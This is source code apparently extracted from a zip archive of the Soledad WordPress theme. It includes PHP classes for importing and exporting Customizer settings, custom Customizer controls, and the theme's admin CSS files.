			return;
		}

		// Get the upload data.
		$raw  = file_get_contents( $file['file'] );
		$data = json_decode( $raw, true );

		// Remove the uploaded file.
		unlink( $file['file'] );

		// Data checks.
		if ( ! is_array( $data ) ) {
			$customizer_reset_error = __( 'Import error! Please ensure that the file you are uploading is a valid Customizer export file.', 'soledad' );
			return;
		}

		if ( ! isset( $data['template'] ) || ! isset( $data['mods'] ) ) {
			$customizer_reset_error = __( 'Import error! Please ensure that the file you are uploading is a valid Customizer export file.', 'soledad' );
			return;
		}

		if ( $data['template'] !== $template ) {
			$customizer_reset_error = __( 'Import error! The customizer settings provided are not compatible with the current theme.', 'soledad' );
			return;
		}

		// Import images.
		$data['mods'] = $this->import_images( $data['mods'] );

		// Import custom options.
		if ( isset( $data['options'] ) ) {

			foreach ( $data['options'] as $option_key => $option_value ) {

				$option = new Customizer_Setting(
					$wp_customize,
					$option_key,
					array(
						'default'    => '',
						'type'       => 'option',
						'capability' => 'edit_theme_options',
					)
				);

				$option->import( $option_value );
			}
		}

		// If wp_css is set then import it.
		if ( function_exists( 'wp_update_custom_css_post' ) && isset( $data['wp_css'] ) && '' !== $data['wp_css'] ) {
			wp_update_custom_css_post( $data['wp_css'] );
		}

		// Call the customize_save action.
		do_action( 'customize_save', $wp_customize );

		// Loop through the mods.
		foreach ( $data['mods'] as $key => $val ) {

			// Call the customize_save_ dynamic action.
			do_action( 'customize_save_' . $key, $wp_customize );

			// Save the mod.
			set_theme_mod( $key, $val );
		}

		// Call the customize_save_after action.
		do_action( 'customize_save_after', $wp_customize );
	}

	/**
	 * Imports images for settings saved as mods.
	 *
	 * @access private
	 * @param array $mods An array of customizer mods.
	 * @return array The mods array with any new import data.
	 */
	private function import_images( $mods ) {
		foreach ( $mods as $key => $val ) {

			if ( $this->is_image_url( $val ) ) {

				$data = $this->sideload_image( $val );

				if ( ! is_wp_error( $data ) ) {

					$mods[ $key ] = $data->url;

					// Handle header image controls.
					if ( isset( $mods[ $key . '_data' ] ) ) {
						$mods[ $key . '_data' ] = $data;
						update_post_meta( $data->attachment_id, '_wp_attachment_is_custom_header', get_stylesheet() );
					}
				}
			}
		}

		return $mods;
	}

	/**
	 * Checks to see whether a string is an image url or not.
	 *
	 * @access private
	 * @param string $string The string to check.
	 * @return bool Whether the string is an image url or not.
	 */
	private function is_image_url( $string = '' ) {
		if ( is_string( $string ) ) {

			if ( preg_match( '/\.(jpg|jpeg|png|gif)/i', $string ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Taken from the core media_sideload_image function and
	 * modified to return an array of data instead of html.
	 *
	 * @access private
	 * @param string $file The image file path.
	 * @return array An array of image data.
	 */
	private function sideload_image( $file ) {
		$data = new \stdClass();

		if ( ! function_exists( 'media_handle_sideload' ) ) {
			require_once ABSPATH . 'wp-admin/includes/media.php';
			require_once ABSPATH . 'wp-admin/includes/file.php';
			require_once ABSPATH . 'wp-admin/includes/image.php';
		}

		if ( ! empty( $file ) ) {

			// Set variables for storage, fix file filename for query strings.
			preg_match( '/[^\?]+\.(jpe?g|jpe|gif|png)\b/i', $file, $matches );
			$file_array         = array();
			$file_array['name'] = basename( $matches[0] );

			// Download file to temp location.
			$file_array['tmp_name'] = download_url( $file );

			// If error storing temporarily, return the error.
			if ( is_wp_error( $file_array['tmp_name'] ) ) {
				return $file_array['tmp_name'];
			}

			// Do the validation and storage stuff.
			$id = media_handle_sideload( $file_array, 0 );

			// If error storing permanently, unlink.
			if ( is_wp_error( $id ) ) {
				@unlink( $file_array['tmp_name'] );
				return $id;
			}

			// Build the object to return.
			$meta                = wp_get_attachment_metadata( $id );
			$data->attachment_id = $id;
			$data->url           = wp_get_attachment_url( $id );
			$data->thumbnail_url = wp_get_attachment_thumb_url( $id );
			$data->height        = $meta['height'];
			$data->width         = $meta['width'];
		}

		return $data;
	}
}
PK     N\7    6  inc/customizer/customizer-tools/helpers/class-base.phpnu [        <?php
/**
 * Base Helper.
 *
 * @package soledad
 */

namespace SoledadCustomizerTools\Helpers;

/**
 * A base helper class.
 */
class Base {
	/**
	 * An array of core options that shouldn't be imported.
	 *
	 * @access protected
	 * @var array $core_options
	 */
	protected $core_options = array(
		'blogname',
		'blogdescription',
		'show_on_front',
		'page_on_front',
		'page_for_posts',
	);
}
PK     N\Y  Y  8  inc/customizer/customizer-tools/helpers/class-export.phpnu [        <?php
/**
 * Customizer export helper.
 *
 * @package soledad
 */

namespace SoledadCustomizerTools\Helpers;

/**
 * A class that handle customizer export.
 */
class Export extends Base {
	/**
	 * An instance of WP_Customize_Manager.
	 *
	 * @access private
	 * @var object $wp_customize
	 */
	private $wp_customize;

	/**
	 * Class constructor
	 *
	 * @param object $wp_customize `WP_Customize_Manager` instance.
	 */
	public function __construct( $wp_customize = null ) {
		$this->wp_customize = $wp_customize;
	}

	/**
	 * Export the customizer.
	 */
	public function export() {
		$theme    = get_stylesheet();
		$template = get_template();
		$charset  = get_option( 'blog_charset' );
		$mods     = get_theme_mods();
		$data     = array(
			'template' => $template,
			'mods'     => $mods ? $mods : array(),
			'options'  => array(),
		);

		// Get options from the Customizer API.
		$settings = $this->wp_customize->settings();

		foreach ( $settings as $key => $setting ) {

			if ( 'option' === $setting->type ) {

				// Don't save widget data.
				if ( 'widget_' === substr( strtolower( $key ), 0, 7 ) ) {
					continue;
				}

				// Don't save sidebar data.
				if ( 'sidebars_' === substr( strtolower( $key ), 0, 9 ) ) {
					continue;
				}

				// Don't save core options.
				if ( in_array( $key, $this->core_options, true ) ) {
					continue;
				}

				$data['options'][ $key ] = $setting->value();
			}
		}

		// Plugin developers can specify additional option keys to export.
		$option_keys = apply_filters( 'customizer_export_option_keys', array() );

		foreach ( $option_keys as $option_key ) {
			$data['options'][ $option_key ] = get_option( $option_key );
		}

		if ( function_exists( 'wp_get_custom_css_post' ) ) {
			$data['wp_css'] = wp_get_custom_css();
		}

		$file_name_diff = date( "YmdHis" );

		// Set the download headers.
		header( 'Content-disposition: attachment; filename=Soledad-Customizer-' . $file_name_diff . '.json' );
		header( 'Content-Type: application/octet-stream; charset=' . $charset );

		// Output the export data.
		echo wp_json_encode( $data );

		// Start the download.
		exit;
	}
}
PK     N\'@x      inc/customizer/controller.phpnu [        <?php
/**
 * Custom controller numbers type and categories type
 *
 * @package Wordpress
 * @since 1.0
 */
add_action( 'customize_register', 'pencidesign_customize_register' );
function pencidesign_customize_register( $wp_customize ) {
	class Customize_Number_Control extends WP_Customize_Control {
		public $type = 'number';

		public function render_content() {
			?>
            <label>
                <span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
				<?php if ( $this->description ) { ?>
                    <p class="description pheading-description"><?php echo $this->description; ?></p>
				<?php } ?>
                <input type="number" name="quantity" <?php $this->link(); ?>
                       value="<?php echo esc_textarea( $this->value() ); ?>" style="width:70px;">
            </label>
			<?php
		}
	}

	class Customize_CustomCss_Control extends WP_Customize_Control {
		public $type = 'custom_css';

		public function render_content() {
			?>
            <label>
                <span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
                <textarea
                        style="width:100%; height:150px;" <?php $this->link(); ?>><?php echo esc_textarea( $this->value() ); ?></textarea>
            </label>
			<?php
		}
	}

	class Penci_Customize_Heading_Control extends WP_Customize_Control {
		public $type = 'heading';

		public function render_content() {
			?>
            <label>
                <h2 class="customize-control-title"
                    style="text-transform: uppercase; text-align: center;"><?php echo esc_html( $this->label ); ?></h2>
				<?php if ( $this->description ) { ?>
                    <p class="description pheading-description"><?php echo $this->description; ?></p>
				<?php } ?>
                <hr style="border-top:1px solid #111;"/>
            </label>
			<?php
		}
	}

	class Penci_Customize_List_Menus_Control extends WP_Customize_Control {
		public $type = 'list_menus';

		public function render_content() {
			?>
            <label>
                <span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
                <select name="_customize-input-<?php echo $this->id; ?>"
                        id="_customize-input-<?php echo $this->id; ?>" <?php $this->link(); ?>>
                    <option value=""><?php esc_html_e( '— Select —', 'soledad' ); ?></option>
					<?php
					$menus = get_terms( 'nav_menu' );
					foreach ( $menus as $menu ) {
						$menu_name = $menu->name;
						?>
                        <option value="<?php echo $menu_name; ?>"<?php if ( $menu_name == $this->value() ): echo ' select="selected"'; endif; ?>><?php echo $menu_name; ?></option>
						<?php
					}
					?>
                </select>
            </label>
			<?php
		}
	}

	class Penci_Customize_Control_Checkbox_Multiple extends WP_Customize_Control {

		public $type = 'checkbox-multiple';

		public function enqueue() {
			wp_enqueue_script( 'penci-customize-controls-multi-checkbox', trailingslashit( PENCI_SOLEDAD_URL ) . 'inc/customizer/js/multi-select.js', array( 'jquery' ), '0.1', true );
		}

		public function render_content() {

			if ( empty( $this->choices ) ) {
				return;
			} ?>

			<?php if ( ! empty( $this->label ) ) : ?>
                <span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
			<?php endif; ?>

			<?php if ( ! empty( $this->description ) ) : ?>
                <span class="description customize-control-description"><?php echo $this->description; ?></span>
			<?php endif; ?>

			<?php $multi_values = ! is_array( $this->value() ) ? explode( ',', $this->value() ) : $this->value(); ?>

            <ul>
				<?php foreach ( $this->choices as $value => $label ) : ?>

                    <li>
                        <label>
                            <input type="checkbox"
                                   value="<?php echo esc_attr( $value ); ?>" <?php checked( in_array( $value, $multi_values ) ); ?> />
							<?php echo esc_html( $label['name'] ); ?>
                        </label>
                    </li>

				<?php endforeach; ?>
            </ul>

            <input id="_customize-input-<?php echo $this->id; ?>" name="_customize-input-<?php echo $this->id; ?>"
                   type="hidden" <?php $this->link(); ?>
                   value="<?php echo esc_attr( implode( ',', $multi_values ) ); ?>"/>
		<?php }
	}
}

if ( class_exists( 'WP_Customize_Control' ) ) {
	class WP_Customize_Category_Control extends WP_Customize_Control {
		public function render_content() {
			$dropdown = wp_dropdown_categories( array(
				'name'              => '_customize-dropdown-categories-' . $this->id,
				'echo'              => 0,
				'show_option_none'  => esc_html__( '- Select -', 'soledad' ),
				'option_none_value' => '0',
				'selected'          => $this->value(),
			) );

			// Hackily add in the data link parameter.
			$dropdown = str_replace( '<select', '<select ' . $this->get_link(), $dropdown );

			printf( '<label class="customize-control-select"><span class="customize-control-title">%s</span> %s</label>', $this->label, $dropdown );
		}
	}

}

/**
 * Add customize documentation for Soledad
 *
 * @since 4.0
 *
 */
add_action( 'customize_controls_enqueue_scripts', 'penci_customizer_documentation' );
/**
 * Enqueue script for customizer control
 */
if ( ! function_exists( 'penci_customizer_documentation' ) ) {
	function penci_customizer_documentation() {
		wp_enqueue_script( 'penci-customizer', PENCI_SOLEDAD_URL . '/js/customizer.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_localize_script( 'penci-customizer', 'SoledadCustomizerDoc',
			array(
				'docs' => 'View Documentation'
			)
		);
	}
}
?>
PK     N\g	  g	  .  inc/customizer/css/customizer-search-admin.cssnu [        .search-input {
    display: block;
    margin-bottom: 8px;
}

.customizer-search-section {
    padding: 10px;
}

.customizer-search-input {
    width: 77%
}

.customizer-search-section {
    padding: 10px;
}

.customize-pane-parent {
    overflow: inherit;
}

#customize-controls .customize-info .customize-search-toggle {
    padding: 20px;
}

#customize-controls .customize-info .customize-search-toggle {
    position: absolute;
    right: 1px;
    bottom: 4px;
    width: 20px;
    height: 20px;
    cursor: pointer;
    color: #555d66;
    border: none;
    background: transparent;
    box-shadow: none;
    -webkit-appearance: none;
}

#customize-controls .customize-info .customize-search-toggle:before {
    padding: 4px;
}

#customize-controls .customize-info .customize-search-toggle:before {
    position: absolute;
    top: 5px;
    left: 6px;
}

#accordion-section-customizer-search {
    margin-bottom: 0;
    padding: 12px 15px;
    color: #555d66;
    border-top: 1px solid #ddd;
    background: #fff;
}

#accordion-section-customizer-search .accordion-section-title:after {
    content: none;
}

.customizer-search-section {
    padding: 0;
}

.search-not-found {
    display: none;
    visibility: hidden;
    height: 0;
    transition: height 0.3s ease-in-out;
    opacity: 0;
}

.search-found {
    visibility: visible;
    height: 100%;
    transition: height 0.3s ease-in-out;
    opacity: 1;
}

#search-results .accordion-section {
    line-height: 21px;
    position: relative;
    padding: 10px 10px 11px 14px;
    border-right: none;
    border-left: none;
    background: #fff;
}

#search-results .accordion-section h3 {
    margin: 0;
    padding: 0;
}

#search-results .accordion-section:hover {
    background: #f3f3f5;
}

.search-setting-path {
    display: flex;
    cursor: pointer;
}

#search-results .accordion-section:after {
    font: normal 20px/1 dashicons;
    display: block;
    text-decoration: none !important;
    speak: none;
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
}

#search-results .accordion-section:after {
    position: absolute;
    z-index: 1;
    top: calc(50% - 10px);
    right: 10px;
    content: "\f345";
}

#search-results .accordion-section h3:after {
    content: none;
}

#search-results .accordion-section h3:hover {
    background: inherit;
}

#customize-controls .hl {
    background: #ffcd1724;
}
PK     N\      inc/customizer/css/button.cssnu [        button[data-type="penci_speed_delete_cache"]:before,
button[data-type="penci_fix_polylang_translation"]:before,
button[data-type="render_separate_css"]:before {
	font: normal 20px/.5 dashicons;
	speak: none;
	display: inline-block;
	padding: 0;
	top: 9px;
	left: -4px;
	position: relative;
	vertical-align: top;
	content: "\f463";
}
button[data-type="render_separate_css"].loading:before,
button[data-type="penci_fix_polylang_translation"].loading:before,
button[data-type="penci_speed_delete_cache"].loading:before {
	animation: rotation 1s infinite linear;
}
button[data-type="render_separate_css"].success:before,
button[data-type="penci_fix_polylang_translation"].success:before,
button[data-type="penci_speed_delete_cache"].success:before {
	content: "\f147";
	color: #46b450;
}
PK     N\ID    '  inc/customizer/css/range-customizer.cssnu [        .customize-control-pencidesign-custom-range-slider .penci-range-lable{
	font-size: 13px;
	font-weight: 600;
	color: #555d66;
	margin-bottom: 0;
	margin-top: 16px;
}
.customize-control-pencidesign-custom-range-slider .pencidesign-range-slider {
	position: relative;
	width: calc(100% - 60px);
	height: 6px;
	background-color: rgba(0,0,0,.10);
	cursor: pointer;
	transition: background .5s;
}
.customize-control-pencidesign-custom-range-slider .has-unit .pencidesign-range-slider {
	width: calc(100% - 90px);
}
.customize-control-pencidesign-custom-range-slider .penci_range_value.hide-value {
	display: none;
}
.customize-control-pencidesign-custom-range-slider .penci_range_value.hide-value + .pencidesign-range-slider {
	width: 100%;
}
.customize-control-pencidesign-custom-range-slider .pencidesign-range-slider .ui-slider-handle {
	height: 16px;
	width: 16px;
	background-color: #2d9de6;
	display: inline-block;
	position: absolute;
	top: 50%;
	transform: translateY(-50%) translateX(-4px);
	border-radius: 50%;
	cursor: pointer;
}
.customize-control-pencidesign-custom-range-slider .wrapper {
    display: flex;
	justify-content: space-between;
	align-items: center;
}
.customize-control-pencidesign-custom-range-slider .penci_range_value {
	font-size: 14px;
	padding: 0;
	font-weight: 400;
	width: 52px;
	display: flex;
}
.customize-control-pencidesign-custom-range-slider .has-unit .penci_range_value {
	width: 80px;
}
.customize-control-pencidesign-custom-range-slider .penci_range_value span.value {
    font-size: 12px;
    width: calc(100% - 2px);
    text-align: center;
    min-height: 30px;
    background: #FFF;
    line-height: 30px;
    border: 1px solid #DDD;
}
.customize-control-pencidesign-custom-range-slider .has-unit .penci_range_value span.value {
	width: calc(100% - 32px);
	display: block;
}
.customize-control-pencidesign-custom-range-slider .penci_range_value .unit {
    width: 29px;
    text-align: center;
    font-size: 12px;
	line-height: 22px;
	background: #fff;
	border: 1px solid #ddd;
	margin-left: 1px;
	height: 24px;
}
.customize-control-pencidesign-custom-range-slider .pencidesign-range-slider-reset span {
    font-size: 16px;
    line-height: 22px;
}
.customize-control-pencidesign-custom-range-slider .penci_range_value input {
    font-size: 12px;
    padding: 0px;
    text-align: center;
	min-height: 24px;
	height: auto;
	border-radius: 0;
	border-color: #ddd;
}
.customize-control-pencidesign-custom-range-slider .has-unit .penci_range_value input {
    width: calc(100% - 30px);
}
.customize-control-pencidesign-custom-range-slider .penci-range-title-area .dashicons {
	cursor: pointer;
	font-size: 11px;
	width: 20px;
	height: 18px;
	line-height: 20px;
	color: #222;
	text-align: center;
	position: relative;
	top: 2px;
}
.customize-control-pencidesign-custom-range-slider .penci-range-title-area .dashicons:hover {
	background: #fafafa;
}
.customize-control-pencidesign-custom-range-slider .penci-range-title-area .dashicons.selected {
	background: #fff;
	color: #222;
}
.penci-range-title-area {
    display: flex;
}
.penci-range-slider-controls {
    margin-left: auto;
	margin-bottom: 4px;
}
.customize-control-pencidesign-custom-range-slider .penci-device-controls > span:first-child:last-child {
	display: none;
}
.customize-control-pencidesign-custom-range-slider .sub-description {
	display: block;
    font-style: italic;
    line-height: 1.4;
    margin: 2px 0 2px;
}
.customize-control-pencidesign-custom-range-slider .pencidesign-range-inner{
	display: flex;
    align-items: center;
}
.customize-control-pencidesign-custom-range-slider .penci-control-process{
	width: 80px;
	float: right;
}
.customize-control-pencidesign-custom-range-slider .penci-range-lableparent{
	width: calc(100% - 82px);
	padding-right: 5px;
}
.customize-control-pencidesign-custom-range-slider .penci-wider-width .penci-control-process{
	width: 53px;
	float: right;
}
.customize-control-pencidesign-custom-range-slider .penci-wider-width .penci-range-lableparent{
	width: calc(100% - 55px);
	padding-right: 5px;
}PK     N\
v:  v:  "  inc/customizer/css/select2.min.cssnu [        .select2-container{box-sizing:border-box;display:inline-block;margin:0;position:relative;vertical-align:middle}.select2-container .select2-selection--single{box-sizing:border-box;cursor:pointer;display:block;height:28px;user-select:none;-webkit-user-select:none}.select2-container .select2-selection--single .select2-selection__rendered{display:block;padding-left:8px;padding-right:20px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.select2-container .select2-selection--single .select2-selection__clear{position:relative}.select2-container[dir="rtl"] .select2-selection--single .select2-selection__rendered{padding-right:8px;padding-left:20px}.select2-container .select2-selection--multiple{box-sizing:border-box;cursor:pointer;display:block;min-height:32px;user-select:none;-webkit-user-select:none}.select2-container .select2-selection--multiple .select2-selection__rendered{display:inline-block;overflow:hidden;padding-left:8px;text-overflow:ellipsis;white-space:nowrap}.select2-container .select2-search--inline{float:left}.select2-container .select2-search--inline .select2-search__field{box-sizing:border-box;border:none;font-size:100%;margin-top:5px;padding:0}.select2-container .select2-search--inline .select2-search__field::-webkit-search-cancel-button{-webkit-appearance:none}.select2-dropdown{background-color:white;border:1px solid #aaa;border-radius:4px;box-sizing:border-box;display:block;position:absolute;left:-100000px;width:100%;z-index:1051}.select2-results{display:block}.select2-results__options{list-style:none;margin:0;padding:0}.select2-results__option{padding:6px;user-select:none;-webkit-user-select:none}.select2-results__option[aria-selected]{cursor:pointer}.select2-container--open .select2-dropdown{left:0}.select2-container--open .select2-dropdown--above{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--open .select2-dropdown--below{border-top:none;border-top-left-radius:0;border-top-right-radius:0}.select2-search--dropdown{display:block;padding:4px}.select2-search--dropdown .select2-search__field{padding:4px;width:100%;box-sizing:border-box}.select2-search--dropdown .select2-search__field::-webkit-search-cancel-button{-webkit-appearance:none}.select2-search--dropdown.select2-search--hide{display:none}.select2-close-mask{border:0;margin:0;padding:0;display:block;position:fixed;left:0;top:0;min-height:100%;min-width:100%;height:auto;width:auto;opacity:0;z-index:99;background-color:#fff;filter:alpha(opacity=0)}.select2-hidden-accessible{border:0 !important;clip:rect(0 0 0 0) !important;-webkit-clip-path:inset(50%) !important;clip-path:inset(50%) !important;height:1px !important;overflow:hidden !important;padding:0 !important;position:absolute !important;width:1px !important;white-space:nowrap !important}.select2-container--default .select2-selection--single{background-color:#fff;border:1px solid #aaa;border-radius:4px}.select2-container--default .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--default .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:bold}.select2-container--default .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--default .select2-selection--single .select2-selection__arrow{height:26px;position:absolute;top:1px;right:1px;width:20px}.select2-container--default .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent transparent;border-style:solid;border-width:5px 4px 0 4px;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__clear{float:left}.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__arrow{left:1px;right:auto}.select2-container--default.select2-container--disabled .select2-selection--single{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled .select2-selection--single .select2-selection__clear{display:none}.select2-container--default.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888 transparent;border-width:0 4px 5px 4px}.select2-container--default .select2-selection--multiple{background-color:white;border:1px solid #aaa;border-radius:4px;cursor:text}.select2-container--default .select2-selection--multiple .select2-selection__rendered{box-sizing:border-box;list-style:none;margin:0;padding:0 5px;width:100%}.select2-container--default .select2-selection--multiple .select2-selection__rendered li{list-style:none}.select2-container--default .select2-selection--multiple .select2-selection__clear{cursor:pointer;float:right;font-weight:bold;margin-top:5px;margin-right:10px;padding:1px}.select2-container--default .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;cursor:default;float:left;margin-right:5px;margin-top:5px;padding:0 5px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove{color:#999;cursor:pointer;display:inline-block;font-weight:bold;margin-right:2px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover{color:#333}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice,.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-search--inline{float:right}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice{margin-left:5px;margin-right:auto}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.select2-container--default.select2-container--focus .select2-selection--multiple{border:solid black 1px;outline:0}.select2-container--default.select2-container--disabled .select2-selection--multiple{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled .select2-selection__choice__remove{display:none}.select2-container--default.select2-container--open.select2-container--above .select2-selection--single,.select2-container--default.select2-container--open.select2-container--above .select2-selection--multiple{border-top-left-radius:0;border-top-right-radius:0}.select2-container--default.select2-container--open.select2-container--below .select2-selection--single,.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--default .select2-search--dropdown .select2-search__field{border:1px solid #aaa}.select2-container--default .select2-search--inline .select2-search__field{background:transparent;border:none;outline:0;box-shadow:none;-webkit-appearance:textfield}.select2-container--default .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--default .select2-results__option[role=group]{padding:0}.select2-container--default .select2-results__option[aria-disabled=true]{color:#999}.select2-container--default .select2-results__option[aria-selected=true]{background-color:#ddd}.select2-container--default .select2-results__option .select2-results__option{padding-left:1em}.select2-container--default .select2-results__option .select2-results__option .select2-results__group{padding-left:0}.select2-container--default .select2-results__option .select2-results__option .select2-results__option{margin-left:-1em;padding-left:2em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-2em;padding-left:3em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-3em;padding-left:4em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-4em;padding-left:5em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-5em;padding-left:6em}.select2-container--default .select2-results__option--highlighted[aria-selected]{background-color:#5897fb;color:white}.select2-container--default .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic .select2-selection--single{background-color:#f7f7f7;border:1px solid #aaa;border-radius:4px;outline:0;background-image:-webkit-linear-gradient(top, #fff 50%, #eee 100%);background-image:-o-linear-gradient(top, #fff 50%, #eee 100%);background-image:linear-gradient(to bottom, #fff 50%, #eee 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0)}.select2-container--classic .select2-selection--single:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--classic .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:bold;margin-right:10px}.select2-container--classic .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--classic .select2-selection--single .select2-selection__arrow{background-color:#ddd;border:none;border-left:1px solid #aaa;border-top-right-radius:4px;border-bottom-right-radius:4px;height:26px;position:absolute;top:1px;right:1px;width:20px;background-image:-webkit-linear-gradient(top, #eee 50%, #ccc 100%);background-image:-o-linear-gradient(top, #eee 50%, #ccc 100%);background-image:linear-gradient(to bottom, #eee 50%, #ccc 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFCCCCCC', GradientType=0)}.select2-container--classic .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent transparent;border-style:solid;border-width:5px 4px 0 4px;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__clear{float:left}.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__arrow{border:none;border-right:1px solid #aaa;border-radius:0;border-top-left-radius:4px;border-bottom-left-radius:4px;left:1px;right:auto}.select2-container--classic.select2-container--open .select2-selection--single{border:1px solid #5897fb}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow{background:transparent;border:none}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888 transparent;border-width:0 4px 5px 4px}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single{border-top:none;border-top-left-radius:0;border-top-right-radius:0;background-image:-webkit-linear-gradient(top, #fff 0%, #eee 50%);background-image:-o-linear-gradient(top, #fff 0%, #eee 50%);background-image:linear-gradient(to bottom, #fff 0%, #eee 50%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0)}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--single{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0;background-image:-webkit-linear-gradient(top, #eee 50%, #fff 100%);background-image:-o-linear-gradient(top, #eee 50%, #fff 100%);background-image:linear-gradient(to bottom, #eee 50%, #fff 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFFFFFFF', GradientType=0)}.select2-container--classic .select2-selection--multiple{background-color:white;border:1px solid #aaa;border-radius:4px;cursor:text;outline:0}.select2-container--classic .select2-selection--multiple:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--multiple .select2-selection__rendered{list-style:none;margin:0;padding:0 5px}.select2-container--classic .select2-selection--multiple .select2-selection__clear{display:none}.select2-container--classic .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;cursor:default;float:left;margin-right:5px;margin-top:5px;padding:0 5px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove{color:#888;cursor:pointer;display:inline-block;font-weight:bold;margin-right:2px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove:hover{color:#555}.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice{float:right;margin-left:5px;margin-right:auto}.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.select2-container--classic.select2-container--open .select2-selection--multiple{border:1px solid #5897fb}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--multiple{border-top:none;border-top-left-radius:0;border-top-right-radius:0}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--classic .select2-search--dropdown .select2-search__field{border:1px solid #aaa;outline:0}.select2-container--classic .select2-search--inline .select2-search__field{outline:0;box-shadow:none}.select2-container--classic .select2-dropdown{background-color:#fff;border:1px solid transparent}.select2-container--classic .select2-dropdown--above{border-bottom:none}.select2-container--classic .select2-dropdown--below{border-top:none}.select2-container--classic .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--classic .select2-results__option[role=group]{padding:0}.select2-container--classic .select2-results__option[aria-disabled=true]{color:grey}.select2-container--classic .select2-results__option--highlighted[aria-selected]{background-color:#3875d7;color:#fff}.select2-container--classic .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic.select2-container--open .select2-dropdown{border-color:#5897fb}
PK     N\jv##  #  !  inc/customizer/css/customizer.cssnu [        #customize-controls .customize-pane-child .customize-info .customize-panel-description {
    display: block;
    color: #444;
}

#customize-controls .customize-pane-child .customize-info .customize-panel-description a {
    text-decoration: underline;
}

.customize-control select,
.select2-container--default .selection .select2-selection--single {
    line-height: 27px;
    position: relative;
    height: 27px;
    border: none;
    border-radius: 0;
    outline: none;
    background-color: #fcfcff;
    -webkit-box-shadow: none;
    box-shadow: none;
}

.wp-customizer .select2-container--default .selection .select2-selection--multiple {
    height: auto;
    border: none;
    border-radius: 0;
    outline: none;
    background-color: #fcfcff;
    -webkit-box-shadow: none;
    box-shadow: none;
}

.wp-customizer .select2-container--default .select2-selection--multiple .select2-selection__rendered {
    width: 95%;
}

.wp-customizer .select2-container--default .select2-selection--multiple .select2-selection__clear {
    position: absolute;
    right: 0;
}

.wp-customizer .select2-container .select2-dropdown {
    z-index: 900000;
}

/* ==========================================================================
   Toggle Switch
   ========================================================================== */
.toggle-switch-control .customize-control-title {
    display: inline-block;
}

.toggle-switch {
    position: relative;
    float: right;
    width: 64px;
    -moz-user-select: none;
    -ms-user-select: none;
    -webkit-user-select: none;
}

.toggle-switch .toggle-switch-checkbox {
    display: none;
}

